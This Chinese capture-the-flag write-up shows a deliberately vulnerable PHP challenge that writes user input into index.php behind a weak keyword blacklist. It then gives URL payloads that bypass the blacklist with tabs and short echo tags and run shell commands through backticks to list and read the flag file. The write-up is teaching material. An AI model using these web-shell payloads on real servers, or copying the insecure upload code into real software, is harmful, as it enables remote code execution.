開啟靶機,先上原始碼
<?php
// 禁止顯示所有錯誤資訊
error_reporting(0);
// 高亮顯示當前檔案的程式碼(用於除錯)
highlight_file(__FILE__);
// check函式用於檢查使用者輸入是否包含危險字元或關鍵詞
function check($input){
// 使用正規表示式檢查是否包含危險字元或關鍵字
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// 如果包含危險字元,則終止執行,並顯示"hacker!!!"的提示資訊
die('hacker!!!');
}else{
// 如果沒有危險字元,則返回輸入
return $input;
}
}
// waf函式用於對輸入進行安全檢查
function waf($input){
// 如果輸入是陣列,則遞迴處理陣列中的每一個元素
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output); // 遞迴呼叫waf函式
}
}else{
// 如果輸入不是陣列,則對該輸入進行check函式檢查
$input = check($input);
}
}
// 定義目錄路徑:基於使用者的IP地址建立一個唯一的目錄
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
// 如果目錄不存在,則建立該目錄
if(!file_exists($dir)){
mkdir($dir);
}
// 根據傳入的action引數執行不同的操作
switch($_GET["action"] ?? "") {
case 'pwd':
// 如果action引數為'pwd',則返回當前目錄路徑
echo $dir;
break;
case 'upload':
// 如果action引數為'upload',則獲取data引數的內容
$data = $_GET["data"] ?? "";
// 呼叫waf函式進行輸入檢查
waf($data);
// 將處理後的資料寫入到指定目錄下的index.php檔案中
file_put_contents("$dir" . "index.php", $data);
}
?>
先用?action=pwd檢視目錄,記下訪問該目錄,訪問該目錄下index.php就是我們即將寫入程式碼的目標檔案
再講講寫入,過濾的幾個關鍵就是空格,php,; 一個一個來
空格過濾能用%09或\t來繞過,這兩個符號都代表製表符,也就是平常使用的Tab鍵,四個空格
php主要針對php格式,換成<?= ?>
就行了
至於;其實不用考慮 ?>會自動對最後一行起到;的作用
提一嘴php中
括起來的內容被認為是程式碼
構建payload:
?action=upload&data=<?=`ls\t/`?>`
在根目錄裡找到了flag,最終payload:
?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
flag{9f8b8390-ba06-4db5-a2b4-f5fbf71b6f0e}